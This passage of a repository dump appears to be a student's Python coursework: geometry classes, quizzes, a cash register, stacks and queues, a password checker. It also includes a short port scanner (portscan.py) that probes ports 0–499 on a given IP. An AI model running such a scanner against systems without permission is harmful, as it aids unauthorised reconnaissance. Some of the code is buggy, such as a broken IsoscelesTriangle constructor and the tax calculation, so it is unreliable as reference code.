self.first) 22 | 23 | def secondGreaterThanThird(self): 24 | return self.compareNum(self.second, self.third) 25 | 26 | def thirdGreaterThanFirst(self): 27 | return self.compareNum(self.third, self.first) 28 | 29 | def thirdGreaterThanSecond(self): 30 | return self.compareNum(self.third, self.second) 31 | 32 | def compareNum(self, num1, num2): 33 | if num1 > num2: 34 | return True 35 | else: 36 | return False 37 | 38 | def largestNum(self): 39 | return max(self.numList) 40 | 41 | def SmallestNum(self): 42 | return min(self.numList) 43 | 44 | def Allequal(self): 45 | if self.first == self.second == self.third: 46 | return True 47 | else: 48 | return False 49 | 50 | 51 | 52 | 53 | try: 54 | a = int(input("Enter the First number to compare: ")) 55 | except: 56 | a = 0 57 | 58 | try: 59 | b = int(input("Enter the second number to compare: ")) 60 | except: 61 | b = 0 62 | 63 | try: 64 | c = int(input("Enter the third number to compare: ")) 65 | except: 66 | c = 0 67 | CheckNumbers = Lab1(a,b,c) 68 | print(CheckNumbers.firstGreaterThanSecond()) 69 | print(CheckNumbers.firstGreaterThanThird()) 70 | print(CheckNumbers.secondGreaterThanFirst()) 71 | print(CheckNumbers.secondGreaterThanThird()) 72 | print(CheckNumbers.thirdGreaterThanFirst()) 73 | print(CheckNumbers.thirdGreaterThanSecond()) 74 | print(CheckNumbers.largestNum()) 75 | print(CheckNumbers.SmallestNum()) 76 | print(CheckNumbers.Allequal()) 77 | 78 | 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /person_information.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | class Information: 3 | def __init__(self, name, age, address = "unknown", phn = "N/A"): 4 | self.__n = name 5 | self.__a = age 6 | self.__ad = address 7 | self.__phn = phn 8 | 9 | def name(self): 10 | return self.__n 11 | 12 | def AssignName(self, name): 13 | self.__n = name 14 | 15 | def age(self): 16 | return self.__a 17 | 18 | def AssignAge(self, age): 19 | self.__a = age 20 | 21 | def address(self): 22 | return self.__ad 23 | 24 | def AssignAddress(self, address): 25 | self.__ad = address 26 | 27 | def phonenumber(self): 28 | return self.__phn 29 | 30 | def AssignPhn(self, phn): 31 | self.__phn = phn 32 | 33 | def __str__(self): 34 | return f"name: {self.__n} - age: {self.__a} - address: {self.__ad}" 35 | 36 | 37 | def display_info(person): 38 | print(f" Name: {person.name()}") 39 | print(f" Age: {person.age()}") 40 | print(f" Address: {person.address()}") 41 | print(f" Phone: {person.phonenumber()}") 42 | 43 | if __name__ == "__main__": 44 | h1 = Information("Sarah Jones", 21, "2000 Simcoe North","+1 9123405999") 45 | print(h1) 46 | display_info(h1) 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /point_distance.py: -------------------------------------------------------------------------------- 1 | x1 = int(input("insert value x1: ")) 2 | x2 = int(input("insert value x2: ")) 3 | y1 = int(input("insert value y1: ")) 4 | y2 = int(input("insert value y2: ")) 5 | x2_x1 = x2 - x1 6 | y2_y1 = y2 - y1 7 | sqarex = (x2_x1)**2 8 | sqarey = y2_y1**2 9 | sqarex_sqarey = sqarex + sqarey 10 | whole_root = sqarex_sqarey**(1/2) 11 | print("Distance = " ,whole_root) 12 | -------------------------------------------------------------------------------- /polygon_area.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | #question 11 3 | from abc import ABC, abstractmethod 4 | 5 | class Polygon(ABC): 6 | def __init__(self): 7 | self.width = 0 8 | self.height = 0 9 | 10 | def input_sides(self): 11 | self.width = float(input("Enter width: ")) 12 | self.height = float(input("Enter height: ")) 13 | 14 | @abstractmethod 15 | def area(self): 16 | pass 17 | 18 | class Triangle(Polygon): 19 | def __init__(self): 20 | super().__init__() 21 | self.input_sides() 22 | 23 | def area(self): 24 | return 0.5 * self.width * self.height 25 | 26 | 27 | 28 | def main(): 29 | triangle = Triangle() 30 | print("Area of triangle:", triangle.area()) 31 | 32 | if __name__ == "__main__": 33 | main() 34 | 35 | -------------------------------------------------------------------------------- /polygons_calculator.py: -------------------------------------------------------------------------------- 1 | #Assginment-1 #Question-2 2 | 3 | from abc import ABC, abstractmethod 4 | 5 | # Abstract base class for polygons 6 | class Polygon(ABC): 7 | @abstractmethod 8 | def area(self): 9 | pass 10 | 11 | @abstractmethod 12 | def perimeter(self): 13 | pass 14 | 15 | # Triangle class inheriting from Polygon 16 | class Triangle(Polygon): 17 | def __init__(self, side1, side2,side3): 18 | self.side1 = side1 19 | self.side2 = side2 20 | self.side3 = side3 21 | def area(self): 22 | s = (self.side1 + self.side2 + self.side3) / 2 23 | # Using heron's formula over here 24 | return (s * (s - self.side1) * (s - self.side2) * (s - self.side3)) ** 0.5 25 | 26 | def perimeter(self): 27 | return self.side1 + self.side2 + self.side3 28 | 29 | # Quadrilateral class inheriting from Polygon 30 | class Quadrilateral(Polygon): 31 | def __init__(self, side1, side2, side3, side4): 32 | self.side1 = side1 33 | self.side2 = side2 34 | self.side3 = side3 35 | self.side4 = side4 36 | 37 | def area(self): 38 | # Assuming it's a rectangle 39 | return self.side1 * self.side2 40 | 41 | def perimeter(self): 42 | return self.side1 + self.side2 + self.side3 + self.side4 43 | 44 | # Pentagon class inheriting from Polygon 45 | class Pentagon(Polygon): 46 | def __init__(self, side): 47 | self.side = side 48 | 49 | def area(self): 50 | return 1.72048 * self.side ** 2 51 | 52 | def perimeter(self): 53 | return 5 * self.side 54 | 55 | # Hexagon class inheriting from Polygon 56 | class Hexagon(Polygon): 57 | def __init__(self, side): 58 | self.side = side 59 | 60 | def area(self): 61 | return 2.5981 * self.side ** 2 62 | 63 | def perimeter(self): 64 | return 6 * self.side 65 | 66 | # Octagon class inheriting from Polygon 67 | class Octagon(Polygon): 68 | def __init__(self, side): 69 | self.side = side 70 | 71 | def area(self): 72 | return 2 * (1 + 2 ** 0.5) * self.side ** 2 73 | 74 | def perimeter(self): 75 | return 8 * self.side 76 | 77 | # IsoscelesTriangle class inheriting from Triangle 78 | class IsoscelesTriangle(Triangle): 79 | def __init__(self, base, height, side): 80 | super().__init__(base, height) 81 | self.side = side 82 | 83 | def perimeter(self): 84 | return 2 * self.side + self.base 85 | 86 | # EquilateralTriangle class inheriting from Triangle 87 | class EquilateralTriangle(Triangle): 88 | def __init__(self, side): 89 | super().__init__(side, (3 ** 0.5) / 2 * side) 90 | 91 | def perimeter(self): 92 | return 3 * self.base 93 | 94 | # Rectangle class inheriting from Quadrilateral 95 | class Rectangle(Quadrilateral): 96 | def __init__(self, length, width): 97 | super().__init__(length, width, length, width) 98 | 99 | def area(self): 100 | return self.side1 * self.side2 101 | 102 | # Square class inheriting from Rectangle 103 | class Square(Rectangle): 104 | def __init__(self, side): 105 | super().__init__(side, side) 106 | 107 | 108 | 109 | MyList = [] 110 | NumPolygons = 0 111 | # Get the number of polygons from the user 112 | while True: 113 | try: 114 | NumPolygons = int(input("Enter the number of polygons: ")) 115 | break 116 | except ValueError: 117 | print("Invalid input. Please enter a valid number.") 118 | 119 | # Create polygons based on user input 120 | for i in range(NumPolygons): 121 | print(f"\nPolygon {i+1}:") 122 | 123 | while True: 124 | PolygonType = input("Select the Type of polygon:\nfor example:\nTriangle\nQuadrilateral\nPentagon\nHexagon\nOctagon: ") 125 | try: 126 | if PolygonType == "Triangle": 127 | side1 = float(input("Enter the length of side 1: ")) 128 | side2 = float(input("Enter the length of side 2: ")) 129 | side3 = float(input("Enter the length of side 3: ")) 130 | Pol = Triangle(side1, side2, side3) 131 | 132 | elif PolygonType == "Quadrilateral": 133 | side1 = float(input("Enter the length of side 1: ")) 134 | side2 = float(input("Enter the length of side 2: ")) 135 | side3 = float(input("Enter the length of side 3: ")) 136 | side4 = float(input("Enter the length of side 4: ")) 137 | Pol = Quadrilateral(side1, side2, side3, side4) 138 | 139 | elif PolygonType == "Pentagon": 140 | side = float(input("Enter the length of side: ")) 141 | Pol = Pentagon(side) 142 | 143 | elif PolygonType == "Hexagon": 144 | side = float(input("Enter the length of side: ")) 145 | Pol = Hexagon(side) 146 | 147 | elif PolygonType == "Octagon": 148 | side = float(input("Enter the length of side: ")) 149 | Pol = Octagon(side) 150 | 151 | else: 152 | print("Invalid polygon type. Try Again!") 153 | continue 154 | 155 | MyList.append(Pol) 156 | break 157 | 158 | except ValueError: 159 | print("Invalid input. Please try again with a valid input.") 160 | 161 | 162 | print("\nPolygon Details:") 163 | for i, Pol in enumerate(MyList): #gives the final output of the details 164 | print(f"\nPolygon {i+1}:") 165 | print("Area:", Pol.area()) 166 | print("Perimeter:", Pol.perimeter()) 167 | -------------------------------------------------------------------------------- /portscan.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | def handle(req): 4 | ip = req.strip() 5 | openports = [] 6 | for port in range(0, 500): 7 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 8 | s.settimeout(0.02) 9 | res = s.connect_ex((ip, port)) 10 | if res == 0: 11 | openports.append(port) 12 | if openports: 13 | return f"Open Ports are {openports}" 14 | else: 15 | return "No open ports found" 16 | -------------------------------------------------------------------------------- /quadratic_equation.py: -------------------------------------------------------------------------------- 1 | class QuadraticEquation: 2 | def __init__(self, a, b, c): 3 | self.__a_ = a 4 | self.__b_ = b 5 | self.__c_ = c 6 | 7 | def geta(self): 8 | return self.__a_ 9 | 10 | def getb(self): 11 | return self.__b_ 12 | 13 | def getc(self): 14 | return self.__c_ 15 | 16 | def getDiscriminant(self): 17 | return self.__b_**2 - 4*self.__a_*self.__c_ 18 | 19 | def getRoot1(self): 20 | discriminant = self.getDiscriminant() 21 | if discriminant<0: 22 | return 0 23 | else: 24 | upper = -self.__b_ + discriminant**0.5 25 | lower = 2*self.__a_ 26 | value = upper/lower 27 | return value 28 | 29 | def getRoot2(self): 30 | discriminant = self.getDiscriminant() 31 | if discriminant < 0: 32 | return 0 33 | elif discriminant == 0: 34 | return -self.__b_/(2 * self.__a_) 35 | else: 36 | sqrt_discriminant = discriminant ** 0.5 37 | if self.__b_ < 0: 38 | return (-self.__b_ - sqrt_discriminant)/(2 * self.__a_) 39 | else: 40 | return (-self.__b_ + sqrt_discriminant)/(2 * self.__a_) 41 | 42 | 43 | 44 | 45 | def main(): 46 | while True: 47 | try: 48 | inputValues = input("Enter values of a, b, c (Seprated by commas): ") 49 | a, b, c = map(float, inputValues.split(',')) 50 | equation = QuadraticEquation(a,b,c) 51 | discriminant = equation.getDiscriminant() 52 | if discriminant > 0: 53 | root1 = equation.getRoot1() 54 | root2 = equation.getRoot2() 55 | print(f"The equation has two roots as follows: {root1} and {root2}") 56 | elif discriminant == 0: 57 | root = equation.getRoot1() 58 | print(f"The equation has one root as follows: {root}") 59 | else: 60 | print("The equation has no roots.") 61 | except: 62 | print("Invalid input. Please enter valid values for a, b, and c separated by commas.") 63 | 64 | 65 | 66 | if __name__ == '__main__': 67 | main() 68 | -------------------------------------------------------------------------------- /queueAndDequeue.py: -------------------------------------------------------------------------------- 1 | class Queue: 2 | def __init__(self): 3 | self.list = [] 4 | 5 | def addToQueue(self, item): 6 | self.list.append(item) 7 | 8 | def removeFromQueue(self): 9 | if self.list: 10 | return self.list.pop(0) 11 | else: 12 | return None 13 | 14 | def size(self): 15 | return len(self.list) 16 | 17 | 18 | class1 = Queue() 19 | class1.addToQueue(27) 20 | class1.addToQueue(50) 21 | class1.addToQueue(40) 22 | print(f"Size of queue: {class1.size()}") 23 | print(f"Removed item item: {class1.removeFromQueue()}") 24 | print(f"Size of queue: {class1.size()}") -------------------------------------------------------------------------------- /quizgenerator_1.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | import random 3 | import time 4 | count = 0 5 | print("The quiz has started!") 6 | totalquestions = 0 7 | correct = [] 8 | storedtime = [] 9 | while count == 0: 10 | c = 0 11 | startTime = time.time() 12 | if c == 0: 13 | num1 = random.randint(0,9) 14 | num2 = random.randint(0,9) 15 | question = num1**num2 16 | answer = int(input(f"what is {num1}**{num2}: ")) 17 | if answer == question: 18 | i = True 19 | else: 20 | i = False 21 | 22 | if i == True: 23 | print("You are correct!") 24 | correct.append(1) 25 | else: 26 | print("Your are wrong!") 27 | print(f"Correct answer is: {question}") 28 | correct.append(0) 29 | endTime = time.time() 30 | timeDiffrence = int(endTime)-int(startTime) 31 | storedtime.append(timeDiffrence) 32 | totalquestions = totalquestions + 1 33 | if totalquestions == 5: 34 | score = int(correct[0]) + int(correct[1])+ int(correct[2])+ int(correct[3])+ int(correct[4]) 35 | totaltime = int(storedtime[0])+ int(storedtime[1])+ int(storedtime[2])+ int(storedtime[3])+ int(storedtime[4]) 36 | print(f"The number of points received {score} are out of 5 Total Time taken is {totaltime} seconds") 37 | retake = input("Do you want to retake the quiz? Type Y/N: ").lower() 38 | if retake == "n": 39 | print("You choose not to retake the quiz. quiz ended") 40 | break 41 | elif retake == "y": 42 | correct.pop(0) 43 | correct.pop(0) 44 | correct.pop(0) 45 | correct.pop(0) 46 | correct.pop(0) 47 | storedtime.pop(0) 48 | storedtime.pop(0) 49 | storedtime.pop(0) 50 | storedtime.pop(0) 51 | storedtime.pop(0) 52 | totalquestions = 0 53 | continue 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /quizgenerator_2.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | import random 3 | import time 4 | correct = 0 5 | count = 0 6 | totalquestions = 5 7 | startTime = time.time() 8 | while totalquestions > count: 9 | num1 = random.randint(0,9) 10 | num2 = random.randint(0,9) 11 | question = num1 ** num2 12 | answer = int(input(f"{count + 1}.) What is {num1} ** {num2}: ")) 13 | if answer == question: 14 | print("You are correct!") 15 | correct = correct + 1 16 | else: 17 | print("Your are wrong!") 18 | print(f"The correct answer is: {num1 ** num2}") 19 | endtime = time.time() 20 | count = count + 1 21 | if count == 5: 22 | print(f"The number of points recived are {correct} out of 5 Total time take is {int(endtime) - int(startTime)}") 23 | retake = input("Do you want to retake the quiz? Type Y/N: ").lower() 24 | if retake == "n": 25 | print("You choose to exit the quiz!") 26 | break 27 | else: 28 | correct = 0 29 | count = 0 30 | totalquestions = 5 31 | startTime = time.time() 32 | continue 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /result.txt: -------------------------------------------------------------------------------- 1 | Sum of 9 is: 45 2 | Sum of 10 is: 55 3 | -------------------------------------------------------------------------------- /retail_system.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | class RetailItem: 3 | def __init__(self, description, units, price): 4 | self.__desc = description 5 | self.__un = units 6 | self.__pr = price 7 | 8 | def ReturnDescription(self): 9 | return self.__desc 10 | 11 | def AssignDescription(self, description): 12 | self.__desc = description 13 | 14 | def ReturnUnits(self): 15 | return self.__un 16 | 17 | def AssignUnits(self, units): 18 | self.__un = units 19 | 20 | def ReturnPrice(self): 21 | return self.__pr 22 | 23 | def AssignPrice(self, price): 24 | self.__pr = price 25 | 26 | class CashRegister: 27 | def __init__(self): 28 | self.__List = [] 29 | 30 | def purchase_item(self, item): 31 | self.__List.append(item) 32 | 33 | def get_total(self): 34 | total = 0 35 | for i in self.__List: 36 | total = total + i.ReturnPrice() 37 | return total 38 | 39 | def show_items(self): 40 | for i in self.__List: 41 | print("*****************************************") 42 | print(f"Description: {i.ReturnDescription()}") 43 | print(f"Units: {i.ReturnUnits()}") 44 | print(f"Price: {i.ReturnPrice()}") 45 | print("*****************************************") 46 | 47 | def clear(self): 48 | self.__List.clear() 49 | 50 | 51 | 52 | 53 | 54 | first = RetailItem("Jacket", 12, 59.95) 55 | second = RetailItem("Designer Jeans", 40, 34.95) 56 | third = RetailItem("Shirt", 20, 24.95) 57 | a = CashRegister() 58 | while True: 59 | print("*****************************************") 60 | print("1. Purchase Item \n2. Checkout \n3. Exit") 61 | print("*****************************************") 62 | mainMenu = int(input("Enter the number of the task you would like: ")) 63 | if mainMenu == 1: 64 | print("*****************************************") 65 | print("1. Jacket \n2. Designer Jeans \n3. Shirt") 66 | print("*****************************************") 67 | SubMenu = int(input("Enter the item number: ")) 68 | if SubMenu == 1: 69 | a.purchase_item(first) 70 | elif SubMenu == 2: 71 | a.purchase_item(second) 72 | elif SubMenu == 3: 73 | a.purchase_item(third) 74 | else: 75 | print("Please enter a valid option from the Menu") 76 | elif mainMenu == 2: 77 | a.show_items() 78 | print("Total:", a.get_total()) 79 | a.clear() 80 | elif mainMenu == 3: 81 | print("Thank you for shopping with us! Have a great day ahead.") 82 | break 83 | else: 84 | print("Please enter a valid option from the Menu") 85 | -------------------------------------------------------------------------------- /secondgreatesnumberfinder.py: -------------------------------------------------------------------------------- 1 | def secondGreatest(list): 2 | counterOne = 0 3 | counterTwo = 0 4 | for x in list: 5 | if x > counterOne: 6 | counterTwo = counterOne 7 | counterOne = x 8 | elif x > counterTwo and x != counterOne: 9 | counterTwo = x 10 | return counterTwo 11 | 12 | print (secondGreatest([5, 10, 1, 8])) 13 | -------------------------------------------------------------------------------- /sets.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | def checkvowelsConsonants(): 3 | global listSentence 4 | countVowels = 0 5 | countConsonants = 0 6 | countSpecial = 0 7 | countNumbers = 0 8 | setVowel = {"A","E","I","O","U","a","e","i","o","u"} 9 | setSpecial = {"!","@","#","$","%","^","&","*","(",")","_","-","+","=","{","}","[","]",":",";","\"","\'","<",">",",",".","?","/","~","`","\\","|","“","”"," "} 10 | setNumbers = {"1","2","3","4","5","6","7","8","9","0"} 11 | for i in listSentence: 12 | if i in setVowel: 13 | countVowels += 1 14 | elif i in setSpecial: 15 | countSpecial += 1 16 | elif i in setNumbers: 17 | countNumbers += 1 18 | else: 19 | countConsonants += 1 20 | print(f"The number of vowels is {countVowels} and consonants is {countConsonants}") 21 | 22 | 23 | 24 | 25 | while True: 26 | print("________________________________________________________________________________") 27 | print("Options are as below:") 28 | print("---->\t1. Print the number of vowels and consonants") 29 | print("---->\t2. Exit the program") 30 | enterInput = input("What would you like to do(1 or 2)? ") 31 | if enterInput == "2": 32 | print("You exited the program.") 33 | break 34 | elif enterInput == "1": 35 | sentence = input("Enter any sentence: ") 36 | listSentence = list(sentence) 37 | checkvowelsConsonants() 38 | -------------------------------------------------------------------------------- /student_solutions.txt: -------------------------------------------------------------------------------- 1 | 1. A 2 | 2. C 3 | 3. A 4 | 4. A 5 | 5. D 6 | 6. B 7 | 7. C 8 | 8. A 9 | 9. C 10 | 10. B 11 | 11. A 12 | 12. D 13 | 13. C 14 | 14. A 15 | 15. D 16 | 16. C 17 | 17. B 18 | 18. B 19 | 19. D 20 | 20. A -------------------------------------------------------------------------------- /tax_calculator.py: -------------------------------------------------------------------------------- 1 | price = float(input("Enter price of the product: ")) 2 | tax = price*(0.029) 3 | real_price = price - tax 4 | excluded_price = print("The price of the product excluding tax will be,",real_price) 5 | tax_applied = print("The tax applied is = 2.9%") -------------------------------------------------------------------------------- /tc_double_stack.py: -------------------------------------------------------------------------------- 1 | #Assignment-3 #Question-1 2 | 3 | class TC_Stack: 4 | def __init__(self, capacity): 5 | # Initialize the two-color double-stack with a given capacity 6 | self.capacity = capacity 7 | # Create an array to store elements of both stacks (red & blue) 8 | self.stack_array = [None] * capacity 9 | # Initialize the top pointer for the red stack to -1 (empty) 10 | self.Top = -1 11 | # Initialize the top pointer for the blue stack to the capacity (empty) 12 | self.blueTop = capacity 13 | 14 | def is_red_stack_empty(self): 15 | # Check if the red stack is empty (top pointer is at -1) 16 | return self.Top == -1 17 | 18 | def is_blue_stack_empty(self): 19 | # Check if the blue stack is empty (top pointer is at the capacity) 20 | return self.blueTop == self.capacity 21 | 22 | def is_full(self): 23 | # Check if the double-stack is full (red top + 1 is equal to blue top) 24 | return self.Top + 1 == self.blueTop 25 | 26 | def red_push(self, value): 27 | # Push an element onto the red stack 28 | if self.Top + 1 == self.blueTop: 29 | raise Exception("Red stack is full") # Check if the red stack is already full 30 | self.Top += 1 # Move the red top pointer up 31 | self.stack_array[self.Top] = value # Store the value in the red stack 32 | 33 | def blue_push(self, value): 34 | # Push an element onto the blue stack 35 | if self.Top + 1 == self.blueTop: 36 | raise Exception("Blue stack is full") # Check if the blue stack is already full 37 | self.blueTop -= 1 # Move the blue top pointer down 38 | self.stack_array[self.blueTop] = value # Store the value in the blue stack 39 | 40 | def red_pop(self): 41 | # Pop an element from the red stack 42 | if self.is_red_stack_empty(): 43 | raise Exception("Red stack is empty") # Check if the red stack is already empty 44 | value = self.stack_array[self.Top] # Get the value from the top of the red stack 45 | self.Top -= 1 # Move the red top pointer down 46 | return value 47 | 48 | def blue_pop(self): 49 | # Pop an element from the blue stack 50 | if self.is_blue_stack_empty(): 51 | raise Exception("Blue stack is empty") # Check if the blue stack is already empty 52 | value = self.stack_array[self.blueTop] # Get the value from the top of the blue stack 53 | self.blueTop += 1 # Move the blue top pointer up 54 | return value 55 | 56 | def red_top_element(self): 57 | # Get the top element of the red stack 58 | if self.is_red_stack_empty(): 59 | raise Exception("Red stack is empty") # Check if the red stack is empty 60 | return self.stack_array[self.Top] # Return the value at the top of the red stack 61 | 62 | def blue_top_element(self): 63 | # Get the top element of the blue stack 64 | if self.is_blue_stack_empty(): 65 | raise Exception("Blue stack is empty") # Check if the blue stack is empty 66 | return self.stack_array[self.blueTop] # Return the value at the top of the blue stack 67 | 68 | 69 | 70 | 71 | def main(): 72 | # Create a two-color double-stack object with a capacity of 10 73 | tc_stack = TC_Stack(10) 74 | 75 | # Push elements onto the red stack 76 | tc_stack.red_push(1) 77 | tc_stack.red_push(2) 78 | tc_stack.red_push(3) 79 | 80 | # Push elements onto the blue stack 81 | tc_stack.blue_push(11) 82 | tc_stack.blue_push(12) 83 | 84 | # Print the top elements of both stacks 85 | print("Red top element:", tc_stack.red_top_element()) 86 | print("Blue top element:", tc_stack.blue_top_element()) 87 | 88 | # Pop elements from both stacks 89 | tc_stack.red_pop() 90 | tc_stack.blue_pop() 91 | 92 | # Print the top elements of both stacks after the pop operations 93 | print("Red top element after poping:", tc_stack.red_top_element()) 94 | print("Blue top element after poping:", tc_stack.blue_top_element()) 95 | 96 | if __name__ == "__main__": 97 | main() 98 | -------------------------------------------------------------------------------- /triangle_geometric_object.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | #question 3 3 | class GeometricObject: 4 | def __init__(self, color="green", filled=True): 5 | self.__color = color 6 | self.__filled = filled 7 | 8 | def getColor(self): 9 | return self.__color 10 | 11 | def setColor(self, color): 12 | self.__color = color 13 | 14 | def isFilled(self): 15 | return self.__filled 16 | 17 | def setFilled(self, filled): 18 | self.__filled = filled 19 | 20 | def __str__(self): 21 | return "color: " + self.__color + " and filled: " + str(self.__filled) 22 | 23 | class Triangle(GeometricObject): 24 | def __init__(self, side1 = 1.0, side2 = 1.0, side3 = 1.0, color = "green", filled = True): 25 | super().__init__(color, filled) 26 | self.__side1 = side1 27 | self.__side2 = side2 28 | self.__side3 = side3 29 | 30 | def getSide1(self): 31 | return self.__side1 32 | 33 | def getSide2(self): 34 | return self.__side2 35 | 36 | def getSide3(self): 37 | return self.__side3 38 | 39 | def getArea(self): 40 | s = (self.__side1 + self.__side2 + self.__side3) / 2 41 | area = (s * (s - self.__side1) * (s - self.__side2) * (s - self.__side3)) ** 0.5 42 | return area 43 | 44 | def getPerimeter(self): 45 | perimeter = self.__side1 + self.__side2 + self.__side3 46 | return perimeter 47 | 48 | def __str__(self): 49 | return "Triangle: side1 = " + str(self.__side1) + " side2 = " + str(self.__side2) + " side3 = " + str(self.__side3) 50 | 51 | 52 | def main(): 53 | side1 = float(input("Enter the side 1: ")) 54 | side2 = float(input("Enter the side 2: ")) 55 | side3 = float(input("Enter the side 3: ")) 56 | color = input("Enter a color: ") 57 | filledUnfilled = bool(int(input("Enter (1) for filled or (0) for not filled: "))) 58 | 59 | triangle = Triangle(side1, side2, side3, color, filledUnfilled) 60 | 61 | print(f"Area: {triangle.getArea()}") 62 | print(f"Perimeter: {triangle.getPerimeter()}") 63 | print(f"Color: {triangle.getColor()}") 64 | print(f"Filled: {triangle.isFilled()}") 65 | print(triangle) 66 | 67 | if __name__ == "__main__": 68 | main() 69 | -------------------------------------------------------------------------------- /triangle_with_error_handling.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | #question 4 3 | class GeometricObject: 4 | def __init__(self, color="green", filled=True): 5 | self.__color = color 6 | self.__filled = filled 7 | 8 | def getColor(self): 9 | return self.__color 10 | 11 | def setColor(self, color): 12 | self.__color = color 13 | 14 | def isFilled(self): 15 | return self.__filled 16 | 17 | def setFilled(self, filled): 18 | self.__filled = filled 19 | 20 | def __str__(self): 21 | return "color: " + self.__color + " and filled: " + str(self.__filled) 22 | 23 | class TriangleError(RuntimeError): 24 | def __init__(self, side1, side2, side3): 25 | super().__init__("Invalid triangle sides: {}, {}, {}".format(side1, side2, side3)) 26 | self.__side1 = side1 27 | self.__side2 = side2 28 | self.__side3 = side3 29 | 30 | def getSide1(self): 31 | return self.__side1 32 | 33 | def getSide2(self): 34 | return self.__side2 35 | 36 | def getSide3(self): 37 | return self.__side3 38 | 39 | class Triangle(GeometricObject): 40 | def __init__(self, side1=1.0, side2=1.0, side3=1.0, color="green", filled=True): 41 | super().__init__(color, filled) 42 | self.__side1 = side1 43 | self.__side2 = side2 44 | self.__side3 = side3 45 | if not self.isValid(): 46 | raise TriangleError(side1, side2, side3) 47 | 48 | def getSide1(self): 49 | return self.__side1 50 | 51 | def getSide2(self): 52 | return self.__side2 53 | 54 | def getSide3(self): 55 | return self.__side3 56 | 57 | def getArea(self): 58 | s = (self.__side1 + self.__side2 + self.__side3) / 2 59 | area = (s * (s - self.__side1) * (s - self.__side2) * (s - self.__side3)) ** 0.5 60 | return area 61 | 62 | def getPerimeter(self): 63 | perimeter = self.__side1 + self.__side2 + self.__side3 64 | return perimeter 65 | 66 | def isValid(self): 67 | return self.__side1 + self.__side2 > self.__side3 and self.__side1 + self.__side3 > self.__side2 and self.__side2 + self.__side3 > self.__side1 68 | 69 | def __str__(self): 70 | return "Triangle: side1 = " + str(self.__side1) + " side2 = " + str(self.__side2) + " side3 = " + str(self.__side3) 71 | 72 | 73 | def main(): 74 | side1 = float(input("Enter the side 1: ")) 75 | side2 = float(input("Enter the side 2: ")) 76 | side3 = float(input("Enter the side 3: ")) 77 | color = input("Enter a color: ") 78 | filledUnfilled = bool(int(input("Enter (1) for filled or (0) for not filled: "))) 79 | 80 | try: 81 | triangle = Triangle(side1, side2, side3, color, filledUnfilled) 82 | except TriangleError as x: 83 | print(x) 84 | return 85 | 86 | print(f"Area: {triangle.getArea()}") 87 | print(f"Perimeter: {triangle.getPerimeter()}") 88 | print(f"Color: {triangle.getColor()}") 89 | print(f"Filled: {triangle.isFilled()}") 90 | print(triangle) 91 | 92 | if __name__ == "__main__": 93 | main() 94 | -------------------------------------------------------------------------------- /unique_numbers.py: -------------------------------------------------------------------------------- 1 | #Assignment-1 #Question-1 2 | counter = 0 # Initialize a counter variable 3 | list_store = [] # Create an empty list to store the numbers 4 | 5 | while counter < 10: # Loop until counter reaches 10 6 | unique_number = input("Enter any number: ") # Prompt the user for input 7 | 8 | if unique_number == "q" or unique_number == "Q": # Check if user wants to quit 9 | break 10 | 11 | try: # Try to convert the input to an integer 12 | num = int(unique_number) 13 | except: # Handle the exception if input is not a valid integer 14 | print("Invalid output.") 15 | continue 16 | 17 | if num in list_store: # Check if number already exists in the list 18 | print("The number already exists.") 19 | else: 20 | counter += 1 # Increment the counter 21 | list_store.append(num) # Add the number to the list 22 | 23 | if counter == 10: # Check if 10 distinct numbers were entered 24 | print("Here are all the 10 distinct numbers: ") 25 | print(list_store) 26 | else: 27 | print("You exited the program.") 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /validate_password_format.py: -------------------------------------------------------------------------------- 1 | def ValidPassFunc(Value): 2 | if len(Value)>=7 and any(i.isupper() for i in Value) and any(i.islower() for i in Value) and any(i.isdigit() for i in Value): 3 | return True 4 | else: 5 | return False 6 | 7 | 8 | password = input("Enter a password with min len 7: ") 9 | while ValidPassFunc(password) == False: 10 | password = input("Invalid password, please try again: ") 11 | print("Valid password, Great Job") 12 | 13 | -------------------------------------------------------------------------------- /vehicle_management.py: -------------------------------------------------------------------------------- 1 | #Purva Patel #100886734 2 | import random 3 | class Vehicle: 4 | def __init__(self, manufacturer, model, wheels, typeOfVehicle, seats): 5 | self.manufacturer = manufacturer 6 | self.model = model 7 | self.wheels = wheels 8 | self.typeOfVehicle = typeOfVehicle 9 | self.seats = seats 10 | 11 | def printDetails(self): 12 | print(f"Manufacturer: {self.manufacturer}") 13 | print(f"Model: {self.model}") 14 | print(f"Wheels: {self.wheels}") 15 | print(f"Type of Vehicle: {self.typeOfVehicle}") 16 | print(f"Seats: {self.seats}") 17 | 18 | def checkInfo(self, **kwargs): 19 | for key, value in kwargs.items(): 20 | if getattr(self, key) == value: 21 | print(f"{key} : True") 22 | else: 23 | print(f"{key} : False") 24 | 25 | 26 | class Car(Vehicle): 27 | def __init__(self, manufacturer, model, wheels, typeOfVehicle, seats, manufacturingNumber): 28 | super().__init__(manufacturer, model, wheels, typeOfVehicle, seats) 29 | self.manufacturingNumber = manufacturingNumber 30 | print("A car was created!") 31 | 32 | def printDetails(self): 33 | super().printDetails() 34 | print(f"Manufacturing Number: {self.manufacturingNumber}") 35 | 36 | 37 | class Truck(Vehicle): 38 | def __init__(self, manufacturer, model, wheels, typeOfVehicle, seats, manufacturingNumber): 39 | super().__init__(manufacturer, model, wheels, typeOfVehicle, seats) 40 | self.manufacturingNumber = manufacturingNumber 41 | print("A truck was created!") 42 | 43 | def printDetails(self): 44 | super().printDetails() 45 | print(f"Manufacturing Number: {self.manufacturingNumber}") 46 | 47 | 48 | class Motorcycle(Vehicle): 49 | def __init__(self, manufacturer, model, wheels, typeOfVehicle, seats, manufacturingNumber): 50 | 